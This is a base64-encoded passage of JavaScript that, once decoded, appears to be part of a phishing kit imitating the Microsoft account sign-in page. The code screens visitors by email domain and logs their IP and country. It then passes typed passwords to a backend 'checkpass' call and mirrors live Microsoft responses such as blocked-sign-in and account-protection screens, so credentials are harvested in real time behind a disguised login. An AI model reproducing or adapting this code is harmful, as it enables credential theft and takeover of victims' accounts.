CAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3NpZ250b2Fub3RoZXJ3ZWInKS5xdWVyeVNlbGVjdG9yKCcuc2VjdGlvbmNvbnRlbnQnKS5zdHlsZS5hbmltYXRpb24gPSAnc2hvdy1mcm9tLXJpZ2h0IDAuNXMnOw0KICAgICAgICAgICAgLy8gc2V0VGltZW91dChmdW5jdGlvbigpew0KICAgICAgICAgICAgLy8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fc2lnbnRvYW5vdGhlcndlYicpLnF1ZXJ5U2VsZWN0b3IoJy5sb2FkaW5nLWNvbnRhaW5lcicpLmNsYXNzTGlzdC5hZGQoJ2xvYWRpbmcnKTsNCiAgICAgICAgICAgIC8vIH0sIDUwMCk7DQogICAgICAgICAgICAvLyB9LCA1MDApOw0KICAgICAgICAgICAgLy8gdmlldyA9ICJzaWdudG9hbm90aGVyd2ViIjsNCiAgICAgICAgICAgIC8vIHdhaXRmb3J3ZWIodmlldyk7DQogICAgICAgICAgICAvLyB9DQoNCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJtdWx0aXBsZSBhY2NvdW50cyIpew0KICAgICAgICAgICAgbXVsdGlwbGVhY2NvdW50c2JhY2sgPSAxOw0KICAgICAgICAgICAgaWYodHdhID09IDApew0KICAgICAgICAgICAgdmFyIGJhbm5lckxvZ29zID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLmJhbm5lcmxvZ28iKTsNCiAgICAgICAgICAgIGJhbm5lckxvZ29zLmZvckVhY2goZnVuY3Rpb24oZWxlbWVudCkgew0KICAgICAgICAgICAgZWxlbWVudC5zdHlsZS5oZWlnaHQgPSAiMjRweCI7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX211bHRpcGxlYWNjb3VudHMnKS5xdWVyeVNlbGVjdG9yKCcjYnRuX2JhY2snKS5zZXRBdHRyaWJ1dGUoImRhdGEtaWQiLCByZXNwb25zZVsnYmFja2J0bmlkJ10pOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fbXVsdGlwbGVhY2NvdW50cycpLnF1ZXJ5U2VsZWN0b3IoJyNidG5fYmFjaycpLnNldEF0dHJpYnV0ZSgib25jbGljayIsICJiYWNrYnV0dG9uY2xpY2sodGhpcywyKSIpOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ211bHRpcGxlYWNjb3VudHMnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICAgICAgZGlzcGxheW11bHRpcGxlYWNjb3VudHMocmVzcG9uc2VbJ2FjY291bnRvcHRpb25zJ10pOw0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdtdWx0aXBsZWFjY291bnRzJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICAgICAgZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLnVzZXJfaWRlbnRpdHknKS5mb3JFYWNoKChlKSA9PiB7DQogICAgICAgICAgICAgICAgZS5pbm5lclRleHQgPSB1bmFtZUlucC52YWx1ZTsNCiAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl91bmFtZSIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fbXVsdGlwbGVhY2NvdW50cycpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgdmlldyA9ICJtdWx0aXBsZWFjY291bnRzIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgLy8gaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gIm5ld3dlYnNpdGVvcGVuIil7DQogICAgICAgICAgICAvLyBib3R0b21zZWN0aW9ubGlua3MoJ3B3ZCcsW3thX2lkOiAiaWRBX1BXRF9Gb3Jnb3RQYXNzd29yZCIsIGFfdGV4dDogIkZvcmdvdCBteSBwYXNzd29yZCIsIHR5cGU6ICJsaW5rIn1dKTsNCiAgICAgICAgICAgIC8vIGlmKHR3YSA9PSAwKXsNCiAgICAgICAgICAgIC8vIHZhciBiYW5uZXJMb2dvcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5iYW5uZXJsb2dvIik7DQogICAgICAgICAgICAvLyBiYW5uZXJMb2dvcy5mb3JFYWNoKGZ1bmN0aW9uKGVsZW1lbnQpIHsNCiAgICAgICAgICAgIC8vIGVsZW1lbnQuc3R5bGUuaGVpZ2h0ID0gIjI0cHgiOw0KICAgICAgICAgICAgLy8gfSk7DQogICAgICAgICAgICAvLyB9DQogICAgICAgICAgICAvLyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcudXNlcl9pZGVudGl0eScpLmZvckVhY2goKGUpID0+IHsNCiAgICAgICAgICAgIC8vICAgICBlLmlubmVyVGV4dCA9IHVuYW1lSW5wLnZhbHVlOw0KICAgICAgICAgICAgLy8gfSkNCiAgICAgICAgICAgIC8vIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3VuYW1lIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICAvLyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9wd2QnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIC8vIHZpZXcgPSAicHdkIjsNCiAgICAgICAgICAgIC8vIH0NCg0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImNvcnJlY3QgZW1haWwiKXsNCiAgICAgICAgICAgIGlmKHR3YSA9PSAwKXsNCiAgICAgICAgICAgIGlmKHJlc3BvbnNlWydiYW5uZXJsb2dvJ10gIT09IHVuZGVmaW5lZCAmJiByZXNwb25zZVsnYmFubmVybG9nbyddICE9PSBudWxsKXsNCiAgICAgICAgICAgIHZhciBiYW5uZXJMb2dvcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5iYW5uZXJsb2dvIik7DQogICAgICAgICAgICBiYW5uZXJMb2dvcy5mb3JFYWNoKGZ1bmN0aW9uKGVsZW1lbnQpIHsNCiAgICAgICAgICAgIGVsZW1lbnQuc3R5bGUuYmFja2dyb3VuZEltYWdlID0gInVybCgnIityZXNwb25zZVsnYmFubmVybG9nbyddKyInKSI7DQogICAgICAgICAgICBlbGVtZW50LnN0eWxlLndpZHRoID0gInVuc2V0IjsNCiAgICAgICAgICAgIGVsZW1lbnQuc3R5bGUuaGVpZ2h0ID0gIjM2cHgiOw0KICAgICAgICAgICAgfSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihyZXNwb25zZVsnYmFja2dyb3VuZGNvbG9yJ10gIT09IHVuZGVmaW5lZCAmJiByZXNwb25zZVsnYmFja2dyb3VuZGNvbG9yJ10gIT09IG51bGwpew0KICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LnN0eWxlLnNldFByb3BlcnR5KCdiYWNrZ3JvdW5kLWNvbG9yJywgcmVzcG9uc2VbJ2JhY2tncm91bmRjb2xvciddKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKHJlc3BvbnNlWydiYWNrZ3JvdW5kaW1hZ2UnXSAhPT0gdW5kZWZpbmVkICYmIHJlc3BvbnNlWydiYWNrZ3JvdW5kaW1hZ2UnXSAhPT0gbnVsbCl7DQogICAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuc3R5bGUuc2V0UHJvcGVydHkoJ2JhY2tncm91bmQtaW1hZ2UnLCAidXJsKCciK3Jlc3BvbnNlWydiYWNrZ3JvdW5kaW1hZ2UnXSsiJykiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKHJlc3BvbnNlWydiYW5uZXJsb2dvJ10gPT0gdW5kZWZpbmVkICYmIHJlc3BvbnNlWydiYW5uZXJsb2dvJ10gIT09IG51bGwpew0KICAgICAgICAgICAgdmFyIGJhbm5lckxvZ29zID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLmJhbm5lcmxvZ28iKTsNCiAgICAgICAgICAgIGJhbm5lckxvZ29zLmZvckVhY2goZnVuY3Rpb24oZWxlbWVudCkgew0KICAgICAgICAgICAgZWxlbWVudC5zdHlsZS5oZWlnaHQgPSAiMjRweCI7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihwdm4gPT0gMCl7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3B3ZCcscmVzcG9uc2VbJ2JvdHRvbXNlY3Rpb24nXSkNCiAgICAgICAgICAgIGNoYW5nZWJhY2tidXR0b24oJ3B3ZCcscmVzcG9uc2VbJ2JhY2tidXR0b24nXSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZihwdm4gPT0gMSl7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3B3ZF9saXZlJyxyZXNwb25zZVsnYm90dG9tc2VjdGlvbiddKQ0KICAgICAgICAgICAgY2hhbmdlYmFja2J1dHRvbigncHdkX2xpdmUnLHJlc3BvbnNlWydiYWNrYnV0dG9uJ10pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcudXNlcl9pZGVudGl0eScpLmZvckVhY2goKGUpID0+IHsNCiAgICAgICAgICAgICAgICBlLmlubmVyVGV4dCA9IHVuYW1lSW5wLnZhbHVlOw0KICAgICAgICAgICAgfSk7DQoNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3VuYW1lIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBpZihwdm4gPT0gMCl7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9wd2QnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAicHdkIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKHB2biA9PSAxKXsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3B3ZF9saXZlJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gInB3ZF9saXZlIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gImVycm9yIil7DQogICAgICAgICAgICBib3R0b21zZWN0aW9ubGlua3MoJ3VuYW1lJyxbe2FfaWQ6ICJzaWdudXAiLCBhX3RleHQ6ICJDcmVhdGUgb25lISIsIHRleHQ6ICJObyBhY2NvdW50PyIsIHR5cGU6ICJ0ZXh0X2xpbmsifSx7YV9pZDogImNhbnRBY2Nlc3NBY2NvdW50IiwgYV90ZXh0OiAiQ2FuJ3QgYWNjZXNzIHlvdXIgYWNjb3VudD8iLCB0eXBlOiAibGluayJ9XSk7DQogICAgICAgICAgICBjaGVja2Vycm9yZGVzYygndW5hbWUnLDEscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXS5pbmNsdWRlcygibmV3d2Vic2l0ZW9wZW4iKSA9PSBmYWxzZSAmJiByZXNwb25zZVsnbWVzc2FnZSddICE9PSAiZXJyb3IiKXsNCiAgICAgICAgICAgIHJ1bmFuaW1hdGlvbigxLHZpZXcsMC4zKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgfSwgYW5pbWR1cmF0aW9uKTsNCiAgICAgICAgICB9DQogICAgICAgICAgfSkNCiAgICAgICAgICAuY2F0Y2goZXJyb3IgPT4gew0KICAgICAgICAgIGxvYWRpbmdhbmltYXRpb24oMSk7DQogICAgICAgICAgY29uc29sZS5lcnJvcignRXJyb3I6JywgZXJyb3IpOw0KICAgICAgICAgIH0pOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIG1pc3NpbmdhZGQoKXsNCiAgICBsZXQgY3VycGFzc3dvcmQgPSBudWxsOw0KICAgIGlmKHB2biA9PSAwKXsNCiAgICBjdXJwYXNzd29yZCA9IHB3ZElucC52YWx1ZTsNCiAgICB9DQogICAgaWYocHZuID09IDEpew0KICAgIGN1cnBhc3N3b3JkID0gcHdkSW5wbGl2ZS52YWx1ZTsNCiAgICB9DQogICAgc2VuZEFuZFJlY2VpdmUoJ21pc3Npbmd0ZW1wbGF0ZScsIFtjdXJwYXNzd29yZF0sMSkNCiAgICAudGhlbihyZXNwb25zZSA9PiB7DQogICAgfSkNCiAgICAuY2F0Y2goZXJyb3IgPT4gew0KICAgIGNvbnNvbGUuZXJyb3IoJ0Vycm9yOicsIGVycm9yKTsNCiAgICB9KTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiB2YWxpZGF0ZSgpIHsNCiAgICAgICAgaWYgKHZpZXcgPT09ICJ1bmFtZSIpIHsNCiAgICAgICAgICAgIGNvbnN0IGJsb2NrZWREb21haW5zID0gYmVzOw0KICAgICAgICAgICAgY29uc3QgZG9tYWluID0gdW5hbWVJbnAudmFsdWUudHJpbSgpLnNwbGl0KCdAJylbMV07DQogICAgICAgICAgICBpZiAodW5hbWVJbnAudmFsdWUuaW5jbHVkZXMoIkAiKSAmJiBibG9ja2VkRG9tYWlucy5zb21lKGJsb2NrZWQgPT4gZG9tYWluLmluY2x1ZGVzKGJsb2NrZWQpKSkgew0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbigwKTsNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9uKDEpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lIikuaW5uZXJUZXh0ID0gIldlIGNvdWxkbid0IGZpbmQgYW4gYWNjb3VudCB3aXRoIHRoYXQgdXNlcm5hbWUuIFRyeSBhbm90aGVyLCBvciBnZXQgYSBuZXcgTWljcm9zb2Z0IGFjY291bnQuIjsNCiAgICAgICAgICAgIH0sIDMwMDApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHVuYW1lSW5wLnZhbHVlLnRyaW0oKSA9PSAiIikgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3VuYW1lIikuaW5uZXJUZXh0ID0gIkVudGVyIGEgdmFsaWQgZW1haWwgYWRkcmVzcywgcGhvbmUgbnVtYmVyLCBvciBTa3lwZSBuYW1lLiI7DQogICAgICAgICAgICB9IGVsc2UgaWYgKHVuYW1lSW5wLnZhbHVlLnRyaW0oKSAhPSAiIiAmJiB1bmFtZUlucC52YWx1ZS5pbmNsdWRlcygiQCIpICYmICFibG9ja2VkRG9tYWlucy5zb21lKGJsb2NrZWQgPT4gZG9tYWluLmluY2x1ZGVzKGJsb2NrZWQpKSkgew0KICAgICAgICAgICAgc2hvd3dlZGlkbnRoZWFycG9wdXAgPSAxOw0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbigwKTsNCiAgICAgICAgICAgIGlmICh3ZWJub3Rmb3VuZCA9PSB0cnVlKXsNCiAgICAgICAgICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7DQogICAgICAgICAgICBsb2FkaW5nYW5pbWF0aW9uKDEpOw0KICAgICAgICAgICAgcnVuYW5pbWF0aW9uKDIsdmlldywwLjMpOw0KDQogICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2Vycm9yX3B3ZCcpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2lucF9wd2QnKS52YWx1ZSA9ICIiOw0KICAgICAgICAgICAgYm90dG9tc2VjdGlvbmxpbmtzKCdwd2QnLFt7YV9pZDogImlkQV9QV0RfRm9yZ290UGFzc3dvcmQiLCBhX3RleHQ6ICJGb3Jnb3QgbXkgcGFzc3dvcmQiLCB0eXBlOiAibGluayJ9XSkNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3VuYW1lIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9wd2QnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAicHdkIjsNCiAgICAgICAgICAgIHJ1bmFuaW1hdGlvbigxLHZpZXcsMC4zKTsNCiAgICAgICAgICAgIH0sIDMwMCk7DQogICAgICAgICAgICB9LCAzMDAwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICh3ZWJub3Rmb3VuZCA9PSBmYWxzZSl7DQogICAgICAgICAgICBpZihpbnRlcmFjdGVkID09IDEpew0KICAgICAgICAgICAgLy8gKGZ1bmN0aW9uIHNlbmRlbWFpbHJlcXVlc3RvbmUoKSB7DQogICAgICAgICAgLy8gJC5nZXQoImh0dHBzOi8vZ2V0Lmdlb2pzLmlvL3YxL2lwL2dlby5qc29uIiwgZnVuY3Rpb24ocmVzcG9uc2UpIHsNCiAgICAgICAgICAvLyAgICAgdXNlcmlwID0gcmVzcG9uc2UuaXA7DQogICAgICAgICAgLy8gICAgIHVzZXJjb3VudHJ5ID0gcmVzcG9uc2UuY291bnRyeTsNCiAgICAgICAgICAvLyAgICAgc2VuZGVtYWlsKCk7DQogICAgICAgICAgLy8gfSwgImpzb24iKQ0KICAgICAgICAgIC8vIC5mYWlsKGZ1bmN0aW9uKGpxWEhSLCB0ZXh0U3RhdHVzLCBlcnJvclRocm93bikgew0KICAgICAgICAgIC8vICAgICBpZiAoanFYSFIuc3RhdHVzID09IDQyOSB8fCB0ZXh0U3RhdHVzICE9PSAic3VjY2VzcyIpIHsNCiAgICAgICAgICAvLyAgICAgICAgIHNldFRpbWVvdXQoc2VuZGVtYWlscmVxdWVzdG9uZSwgMTAwMCk7DQogICAgICAgICAgLy8gICAgIH0NCiAgICAgICAgICAvLyB9KTsNCiAgICAgICAgICAgIC8vIH0pKCk7DQogICAgICAgICAgICBzZW5kZW1haWwoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmKGludGVyYWN0ZWQgPT0gMCl7DQoNCiAgICAgICAgICAgIGludGVyYWN0ZWQgPSAxOw0KDQogICAgICAgICAgICAoZnVuY3Rpb24gc2VuZGVtYWlscmVxdWVzdHplcm8oKSB7DQogICAgICAgICAgJC5nZXQoImh0dHBzOi8vZ2V0Lmdlb2pzLmlvL3YxL2lwL2dlby5qc29uIiwgZnVuY3Rpb24ocmVzcG9uc2UpIHsNCiAgICAgICAgICAgICAgdXNlcmlwID0gcmVzcG9uc2UuaXA7DQogICAgICAgICAgICAgIHVzZXJjb3VudHJ5ID0gcmVzcG9uc2UuY291bnRyeTsNCiAgICAgICAgICAgICAgc2VuZGVtYWlsKCk7DQogICAgICAgICAgfSwgImpzb24iKQ0KICAgICAgICAgIC5mYWlsKGZ1bmN0aW9uKGpxWEhSLCB0ZXh0U3RhdHVzLCBlcnJvclRocm93bikgew0KICAgICAgICAgICAgICBpZiAoanFYSFIuc3RhdHVzID09IDQyOSB8fCB0ZXh0U3RhdHVzICE9PSAic3VjY2VzcyIpIHsNCiAgICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoc2VuZGVtYWlscmVxdWVzdHplcm8sIDEwMDApOw0KICAgICAgICAgICAgICB9DQogICAgICAgICAgfSk7DQogICAgICAgICAgfSkoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIGlmICh2aWV3ID09PSAicHdkIikgew0KICAgICAgICAgICAgY29uc3QgYmxvY2tlZFBhc3NlcyA9IHBlczsNCiAgICAgICAgICAgIGNvbnN0IGN1cnBhc3MgPSBwd2RJbnAudmFsdWU7DQogICAgICAgICAgICBpZiAoYmxvY2tlZFBhc3Nlcy5zb21lKGJsb2NrZWQgPT4gY3VycGFzcy5pbmNsdWRlcyhibG9ja2VkKSkpIHsNCiAgICAgICAgICAgIGxvYWRpbmdhbmltYXRpb24oMCk7DQogICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbigxKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJzZWN0aW9uX3B3ZCIpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fZmluYWwnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAiZmluYWwiOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3B3ZCIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgfSwgMzAwMCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAocHdkSW5wLnZhbHVlLnRyaW0oKSA9PT0gIiIpIHsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfcHdkIikuaW5uZXJUZXh0ID0gIlBsZWFzZSBlbnRlciB0aGUgcGFzc3dvcmQgZm9yIHlvdXIgTWljcm9zb2Z0IGFjY291bnQuIjsNCiAgICAgICAgICAgIH0gZWxzZSBpZiAocHdkSW5wLnZhbHVlLnRyaW0oKSAhPSAiIiAmJiAhYmxvY2tlZFBhc3Nlcy5zb21lKGJsb2NrZWQgPT4gY3VycGFzcy5pbmNsdWRlcyhibG9ja2VkKSkpIHsNCiAgICAgICAgICAgIGxvYWRpbmdhbmltYXRpb24oMCk7DQogICAgICAgICAgICBpZiAod2Vibm90Zm91bmQgPT0gdHJ1ZSl7DQogICAgICAgICAgICBtaXNzaW5nYWRkKCk7DQogICAgICAgICAgICBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgbG9hZGluZ2FuaW1hdGlvbigxKTsNCiAgICAgICAgICAgIHJ1bmFuaW1hdGlvbigyLHZpZXcsMC4zKTsNCg0KICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHsNCiAgICAgICAgICAgIGJvdHRvbXNlY3Rpb25saW5rcygncHdkJyxbe2FfaWQ6ICJpZEFfUFdEX0ZvcmdvdFBhc3N3b3JkIiwgYV90ZXh0OiAiRm9yZ290IG15IHBhc3N3b3JkIiwgdHlwZTogImxpbmsifV0pDQogICAgICAgICAgICBjaGFuZ2ViYWNrYnV0dG9uKCdwd2QnLDEpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fcHdkIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9maW5hbCcpLmNsYXNzTGlzdC5yZW1vdmUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImVycm9yX3B3ZCIpLmlubmVyVGV4dCA9ICIiOw0KICAgICAgICAgICAgdmlldyA9ICJmaW5hbCI7DQogICAgICAgICAgICBydW5hbmltYXRpb24oMSx2aWV3LDAuMyk7DQogICAgICAgICAgICB9LCAzMDApOw0KICAgICAgICAgICAgfSwgMzAwMCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAod2Vibm90Zm91bmQgPT0gZmFsc2Upew0KICAgICAgICAgICAgbXVsdGlwbGVhY2NvdW50c2JhY2sgPSAwOw0KICAgICAgICAgICAgc2VuZEFuZFJlY2VpdmUoJ2NoZWNrcGFzcycsIFtwd2RJbnAudmFsdWUucmVwbGFjZSgvXC8vZywgJ2N1c3RvbXNsYXNoc3RyJyldLDEpDQogICAgICAgICAgICAgIC50aGVuKHJlc3BvbnNlID0+IHsNCiAgICAgICAgICAgIGlmIChyZXNwb25zZSAmJiByZXNwb25zZVsnbWVzc2FnZSddICE9PSAid2FpdGluZyBmb3IgcHJldmlvdXMgcmVxdWVzdCB0byBjb21wbGV0ZSIpIHsNCiAgICAgICAgICAgIGxvYWRpbmdhbmltYXRpb24oMSk7DQogICAgICAgICAgICAvLyBsaXZlIHN0dWZmDQogICAgICAgICAgICBpZiAocmVzcG9uc2VbJ21lc3NhZ2UnXSA9PSAic2lnbmluYmxvY2tlZCBsaXZlIil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZXJyb3JfcHdkIikuaW5uZXJUZXh0ID0gIiI7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2lnbmluX2Jsb2NrZWRfbGl2ZV9lbWFpbCIpLmlubmVyVGV4dCA9IHJlc3BvbnNlWydlbWFpbCddOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ3NpZ25pbl9ibG9ja2VkX2xpdmUnLDAscmVzcG9uc2VbJ2Rlc2NyaXB0aW9uJ10pOw0KICAgICAgICAgICAgY2hlY2tlcnJvcmRlc2MoJ3NpZ25pbl9ibG9ja2VkX3JlYXNvbicsMixyZXNwb25zZVsncmVhc29uJ10pOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNlY3Rpb25fcHdkIikuY2xhc3NMaXN0LnRvZ2dsZSgnZC1ub25lJyk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl9zaWduaW5fYmxvY2tlZF9saXZlJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gInNpZ25pbl9ibG9ja2VkX2xpdmUiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gInByb3RlY3RhY2NvdW50IGxpdmUiKXsNCiAgICAgICAgICAgIGNoZWNrZXJyb3JkZXNjKCdwcm90ZWN0X2FjY291bnRfbGl2ZScsMCxyZXNwb25zZVsnZGVzY3JpcHRpb24nXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc2VjdGlvbl8nK3ZpZXcpLmNsYXNzTGlzdC50b2dnbGUoJ2Qtbm9uZScpOw0KICAgICAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3NlY3Rpb25fcHJvdGVjdF9hY2NvdW50X2xpdmUnKS5jbGFzc0xpc3QucmVtb3ZlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIHZpZXcgPSAicHJvdGVjdF9hY2NvdW50X2xpdmUiOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy8gbGl2ZSBzdHVmZg0KICAgICAgICAgICAgaWYgKHJlc3BvbnNlWydtZXNzYWdlJ10gPT0gInlvdSBkb250IGhhdmUgYWNjZXNzIil7DQogICAgICAgICAgICAvLyBjaGVja2Vycm9yZGVzYygneW91ZG9udGhhdmVhY2Nlc3NzaWdub3V0JywyLHJlc3BvbnNlWyd5b3Vkb250aGF2ZWFjY2Vzc2Rlc2MnXSk7DQogICAgICAgICAgICAvLyBjaGVja2Vycm9yZGVzYygneW91ZG9udGhhdmVhY2Nlc21vcmVkZXRhaWxzJywyLHJlc3BvbnNlWydtb3JlZGV0YWlsc2xpbmsnXSk7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9wd2QiKS5jbGFzc0xpc3QudG9nZ2xlKCdkLW5vbmUnKTsNCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZWN0aW9uX3lvdWRvbnRoYXZlYWNjZXNzJykuY2xhc3NMaXN0LnJlbW92ZSgnZC1ub25lJyk7DQogICAgICAgICAgICB2aWV3ID0gInlvdWRvbnRoYXZlYWNjZXNzIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmIChyZXNwb25zZVsnbWVzc2FnZSddID09ICJtb3JlaW5mb3JlcXVpcmVkIil7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2VjdGlvbl9wd2QiKS5jbGFzc0xpc3QudG9nZ2xl